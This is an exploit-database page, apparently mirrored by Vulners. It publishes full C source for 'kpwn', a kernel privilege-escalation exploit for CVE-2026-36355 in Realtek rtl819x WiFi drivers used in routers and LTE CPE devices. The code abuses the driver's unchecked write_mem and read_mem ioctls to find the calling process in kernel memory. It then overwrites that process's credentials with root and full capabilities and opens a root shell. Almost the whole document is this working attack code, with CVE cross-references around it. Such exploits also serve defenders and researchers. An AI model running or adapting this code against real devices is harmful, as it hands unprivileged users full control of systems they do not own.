Lucene search
K

Realtek rtl819x - Local Privilege

🗓️ 27 May 2026 00:00:00Reported by Daniil GordeevType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 58 Views

Realtek rtl819x local privilege escalation via ioctl write_mem/read_mem in out-of-tree driver; unauthenticated, CVE-2026-36355.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-36355
5 May 202600:00
attackerkb
Circl
CVE-2026-36355
4 May 202603:00
circl
CNNVD
Realtek rtl819x Jungle SDK 信息泄露漏洞
5 May 202600:00
cnnvd
CVE
CVE-2026-36355
5 May 202600:00
cve
Cvelist
CVE-2026-36355
5 May 202600:00
cvelist
EUVD
EUVD-2026-27325
5 May 202615:31
euvd
NVD
CVE-2026-36355
5 May 202614:16
nvd
Positive Technologies
PT-2026-37043
5 May 202600:00
ptsecurity
RedhatCVE
CVE-2026-36355
5 Jun 202619:48
redhatcve
Vulnrichment
CVE-2026-36355
5 May 202600:00
vulnrichment
Rows per page
 * Exploit Title: Realtek rtl819x  - Local Privilege Escalation 
 * Date: 2026-05-03
 * Exploit Author: Daniil Gordeev
 * Vendor Homepage: http://www.realtek.com
 * Software Link: https://github.com/iptime-gpl/userapps_n104qi (representative GPL release)
 * Version: Realtek rtl819x Jungle SDK, all known versions through v3.4.14B
 * Tested on: Linux 3.18.48, ARMv7 Cortex-A7, Qualcomm MDM9607, rtl8192es.ko (MeiG FORGE_SLT711 / Ortel 4G LTE CPE)
 * CVE: CVE-2026-36355
 *
 * kpwn - RTL8192CD kernel LPE exploit
 *
 * Exploits missing capability checks on ioctl 0x89F5/0x89F6 (write_mem/read_mem)
 * in the Realtek rtl819x out-of-tree WiFi driver SDK.
 *
 * Runs as ANY unprivileged user — no root needed at any stage.
 * Auto-detects task_struct offsets from init_task.
 *
 * Affected: ALL devices using Realtek rtl819x out-of-tree driver SDK
 * Chips: RTL8192C/D/E, RTL8188E, RTL8812, RTL8881A, RTL8197F, etc.
 *
 * Build: arm-linux-gnueabi-gcc -static -O2 -o tools/kpwn tools/kpwn.c
 * Usage: /tmp/kpwn  (any user, GID 3003/inet on paranoid kernels)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <dirent.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/wireless.h>

#define IOCTL_WRITE  0x89F5   /* SIOCDEVPRIVATE+5: write_mem */
#define IOCTL_READ   0x89F6   /* SIOCDEVPRIVATE+6: read_mem  */

/* kernel .data scan range for init_task (ARM, no KASLR) */
#define DATA_SCAN_START  0xC0800000
#define DATA_SCAN_END    0xC1000000

static int sockfd = -1;
static int nioctls = 0;
static char ifname[IFNAMSIZ];

/* ---- kernel R/W primitives ---- */

static int kread(unsigned long addr, void *out, int ndw)
{
    struct iwreq wrq;
    char buf[256];

    if (ndw > 32) ndw = 32;
    snprintf(buf, sizeof(buf), "dw,%lx,%x", addr, ndw);

    memset(&wrq, 0, sizeof(wrq));
    strncpy(wrq.ifr_name, ifname, IFNAMSIZ);
    wrq.u.data.pointer = buf;
    wrq.u.data.length = strlen(buf) + 1;

    if (ioctl(sockfd, IOCTL_READ, &wrq) < 0)
        return -1;

    nioctls++;
    int n = wrq.u.data.length;
    if (n > 0 && out)
        memcpy(out, buf, n > 128 ? 128 : n);
    return n;
}

static unsigned int kread32(unsigned long addr)
{
    unsigned int v = 0;
    kread(addr, &v, 1);
    return v;
}

static int kfill(unsigned long addr, int ndw, unsigned int val)
{
    struct iwreq wrq;
    char buf[256];

    snprintf(buf, sizeof(buf), "dw,%lx,%x,%x", addr, ndw, val);

    memset(&wrq, 0, sizeof(wrq));
    strncpy(wrq.ifr_name, ifname, IFNAMSIZ);
    wrq.u.data.pointer = buf;
    wrq.u.data.length = strlen(buf) + 1;

    if (ioctl(sockfd, IOCTL_WRITE, &wrq) < 0)
        return -1;

    nioctls++;
    return 0;
}

/* ---- find vulnerable interface ---- */

static int find_interface(void)
{
    DIR *d = opendir("/sys/class/net");
    if (!d) return -1;

    struct dirent *e;
    unsigned int probe;
    while ((e = readdir(d))) {
        if (e->d_name[0] == '.' || strcmp(e->d_name, "lo") == 0)
            continue;
        strncpy(ifname, e->d_name, IFNAMSIZ - 1);
        probe = 0;
        if (kread(0xC0008000, &probe, 1) > 0 && probe != 0) {
            closedir(d);
            return 0;
        }
    }
    closedir(d);
    return -1;
}

/* ---- resolve init_task ---- */

static unsigned long scan_for_init_task(void)
{
    /*
     * Brute-force: scan kernel .data for init_task.comm = "swapper".
     * Validate by checking cred pointer (must dereference to uid=0, gid=0).
     *
     * The returned base doesn't need to be exact — detect_offsets finds
     * all field positions relative to the base, and the math in find_task
     * and the overwrite phase uses (base + offset) pairs where any constant
     * shift cancels out. We just need "swapper" to land within the
     * detect_offsets search window (0x200-0x5F0 from returned base).
     */
    unsigned char buf[128];
    unsigned long addr;

    printf("[*] Scanning .data for init_task...\n");

    for (addr = DATA_SCAN_START; addr < DATA_SCAN_END; addr += 128) {
        if (kread(addr, buf, 32) <= 0)
            continue;

        int j;
        for (j = 0; j <= 128 - 7; j += 4) {
            if (memcmp(buf + j, "swapper", 7) != 0)
                continue;

            unsigned long comm_addr = addr + j;

            /* validate: cred pointer just before comm → {usage, uid=0, gid=0} */
            unsigned int cred_ptr;
            if (kread(comm_addr - 4, &cred_ptr, 1) <= 0)
                continue;
            if ((cred_ptr & 0xC0000000) != 0xC0000000 || cred_ptr == 0xFFFFFFFF)
                continue;

            unsigned int chk[3];
            if (kread(cred_ptr, chk, 3) <= 0)
                continue;
            if (chk[0] < 1 || chk[0] >= 10000)  /* usage refcount */
                continue;
            if (chk[1] != 0 || chk[2] != 0)      /* uid=0, gid=0 */
                continue;

            /*
             * Return comm_addr - 0x400 as base. This places comm at
             * offset 0x400 in the detect_offsets window (well within
             * the 0x200-0x5F0 search range). The base doesn't need
             * to be the true struct start — all offset math cancels.
             */
            unsigned long base = comm_addr - 0x400;
            printf("[+] scan: comm @ 0x%08lx, base 0x%08lx\n", comm_addr, base);
            return base;
        }
    }
    return 0;
}

static unsigned long resolve_init_task(void)
{
    return scan_for_init_task();
}

/* ---- auto-detect task_struct layout ---- */

struct offsets { unsigned long tasks, pid, cred, comm; };

static int detect_offsets(unsigned long init, struct offsets *o)
{
    unsigned char data[0x600];
    int i;

    /* bulk-read init_task (12 reads, 128 bytes each) */
    for (i = 0; i < 0x600; i += 128)
        if (kread(init + i, data + i, 32) <= 0) {
            printf("[-] Read init_task+0x%x failed\n", i);
            return -1;
        }

    /* comm: find "swapper" string — unique, most reliable anchor */
    o->comm = 0;
    for (i = 0x200; i < 0x5F0; i += 4)
        if (memcmp(data + i, "swapper", 7) == 0) { o->comm = i; break; }
    if (!o->comm) {
        printf("[-] 'swapper' not found in init_task\n");
        return -1;
    }

    /* cred: kernel pointer just before comm → dereferences to {usage, uid=0, gid=0} */
    o->cred = 0;
    for (i = o->comm - 4; i >= (int)o->comm - 16; i -= 4) {
        unsigned int val = *(unsigned int *)(data + i);
        if ((val & 0xC0000000) == 0xC0000000 && val != 0xFFFFFFFF) {
            unsigned int chk[3];
            if (kread(val, chk, 3) > 0 &&
                chk[0] >= 1 && chk[0] < 10000 &&
                chk[1] == 0 && chk[2] == 0) {
                o->cred = i;
                break;
            }
        }
    }
    if (!o->cred) {
        printf("[-] Cred pointer not found near comm\n");
        return -1;
    }

    /* tasks: non-self-referencing list_head with valid chain and printable comm at next */
    o->tasks = 0;
    for (i = 0x100; i < 0x300; i += 4) {
        unsigned int next = *(unsigned int *)(data + i);
        unsigned int prev = *(unsigned int *)(data + i + 4);
        if ((next & 0xC0000000) != 0xC0000000 || next == 0xFFFFFFFF) continue;
        if ((prev & 0xC0000000) != 0xC0000000 || prev == 0xFFFFFFFF) continue;
        if (next == (unsigned int)(init + i)) continue;

        unsigned int nn = kread32(next);
        if ((nn & 0xC0000000) != 0xC0000000) continue;

        unsigned long next_base = (unsigned long)next - i;
        char tc[8] = {0};
        if (kread(next_base + o->comm, tc, 2) > 0 &&
            tc[0] >= 0x20 && tc[0] < 0x7F) {
            o->tasks = i;
            break;
        }
    }
    if (!o->tasks) {
        printf("[-] Tasks list_head not found\n");
        return -1;
    }

    /* pid: 0 in init_task, cross-verified against two other tasks (different PIDs) */
    o->pid = 0;
    unsigned int tasks_next = *(unsigned int *)(data + o->tasks);
    unsigned long first_base = (unsigned long)tasks_next - o->tasks;
    unsigned int second_ptr = kread32(tasks_next);
    unsigned long second_base = (unsigned long)second_ptr - o->tasks;

    for (i = o->tasks + 0x20; i < (int)o->comm - 0x20; i += 4) {
        if (*(unsigned int *)(data + i) != 0) continue;
        if (*(unsigned int *)(data + i + 4) != 0) continue;   /* pid=0 AND tgid=0 */
        unsigned int p1 = kread32(first_base + i);
        if (p1 == 0 || p1 >= 32768) continue;
        unsigned int p2 = kread32(second_base + i);
        if (p2 == 0 || p2 >= 32768) continue;
        if (p1 == p2) continue;
        o->pid = i;
        break;
    }
    if (!o->pid) {
        printf("[-] PID offset not found\n");
        return -1;
    }

    return 0;
}

/* ---- walk task list backward (newest first, 1 ioctl per task) ---- */

static unsigned long find_task(unsigned long init, struct offsets *o,
                               pid_t pid, int *walked)
{
    unsigned long head = init + o->tasks;
    unsigned int buf[32];
    unsigned long cur;
    int batch = 0;
    int span = 0;
    *walked = 0;

    /* if pid and tasks fit in one 32-dword read, batch them */
    if (o->pid > o->tasks) {
        span = (o->pid - o->tasks) / 4 + 1;
        if (span <= 32) batch = 1;
    }

    /* walk backward: tasks.prev (offset +4) points to newest task */
    cur = kread32(head + 4);

    for (int i = 0; i < 512; i++) {
        if (cur == head || cur == 0)
            break;

        unsigned long base = cur - o->tasks;
        unsigned int p;
        unsigned long prev;

        if (batch) {
            /* single read gets tasks.next, tasks.prev, and pid */
            if (kread(cur, buf, span) <= 0) break;
            prev = buf[1];    /* tasks.prev = next older task */
            p = buf[(o->pid - o->tasks) / 4];
        } else {
            /* fallback: two individual reads */
            p = kread32(base + o->pid);
            prev = kread32(cur + 4);
        }

        (*walked)++;
        if (p == (unsigned int)pid)
            return base;
        cur = prev;
    }
    return 0;
}

/* ---- main ---- */

int main(void)
{
    uid_t orig_uid = getuid();
    gid_t orig_gid = getgid();
    pid_t pid = getpid();

    printf("kpwn \xe2\x80\x94 RTL8192CD kernel LPE\n");
    printf("uid=%u gid=%u pid=%d\n\n", orig_uid, orig_gid, pid);

    /* socket */
    printf("[*] Creating socket...\n");
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        if (errno == EACCES)
            printf("[-] Need GID 3003 (inet) on paranoid kernels\n");
        return 1;
    }

    /* find vulnerable interface */
    printf("[*] Scanning interfaces...\n");
    if (find_interface() < 0) {
        printf("[-] No rtl819x interface found\n");
        return 1;
    }
    printf("[+] %s — read primitive confirmed\n", ifname);

    /* resolve init_task */
    printf("[*] Resolving init_task...\n");
    unsigned long init = resolve_init_task();
    if (!init) {
        printf("[-] init_task not found\n");
        return 1;
    }
    printf("[+] init_task @ 0x%08lx\n", init);

    /* auto-detect offsets */
    printf("[*] Detecting task_struct layout...\n");
    struct offsets o;
    if (detect_offsets(init, &o) < 0)
        return 1;
    printf("[+] comm=0x%03lx cred=0x%03lx tasks=0x%03lx pid=0x%03lx\n",
           o.comm, o.cred, o.tasks, o.pid);

    /* find our task_struct */
    printf("[*] Searching for pid %d...\n", pid);
    int walked = 0;
    unsigned long task = find_task(init, &o, pid, &walked);
    if (!task) {
        printf("[-] pid %d not found (%d tasks walked)\n", pid, walked);
        return 1;
    }

    /* read and verify cred (batched: cred+comm in one read, uid+gid in one read) */
    unsigned int info[5];
    char *comm;
    unsigned long cred;
    unsigned int k_uid, k_gid;

    kread(task + o.cred, info, 5);    /* cred ptr + 16 bytes of comm */
    cred = info[0];
    comm = (char *)&info[1];

    unsigned int uids[2];
    kread(cred + 0x04, uids, 2);     /* uid + gid */
    k_uid = uids[0];
    k_gid = uids[1];

    printf("[+] task=0x%08lx comm=\"%s\" (%d walked)\n", task, comm, walked);
    printf("[+] cred=0x%08lx uid=%u gid=%u\n", cred, k_uid, k_gid);

    if (k_uid != orig_uid) {
        printf("[-] uid mismatch: kernel=%u userspace=%u\n", k_uid, orig_uid);
        return 1;
    }

    /* overwrite cred -> root (2 ioctls: zero uids + fill all caps) */
    printf("[*] Overwriting credentials...\n");
    kfill(cred + 0x04, 9, 0);                 /* uid..fsgid + securebits = 0 */
    kfill(cred + 0x28, 8, 0xFFFFFFFF);        /* cap_{inheritable,permitted,effective,bset} = full */

    if (getuid() != 0) {
        printf("[-] FAILED \xe2\x80\x94 uid still %d after overwrite\n", getuid());
        return 1;
    }

    printf("[+] uid=%d euid=%d gid=%d egid=%d\n\n",
           getuid(), geteuid(), getgid(), getegid());
    printf("*** GOT ROOT *** uid=%u -> %d (%d ioctls)\n\n", orig_uid, getuid(), nioctls);

    execl("/bin/sh", "sh", NULL);
    printf("[-] execl: %s\n", strerror(errno));
    return 1;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation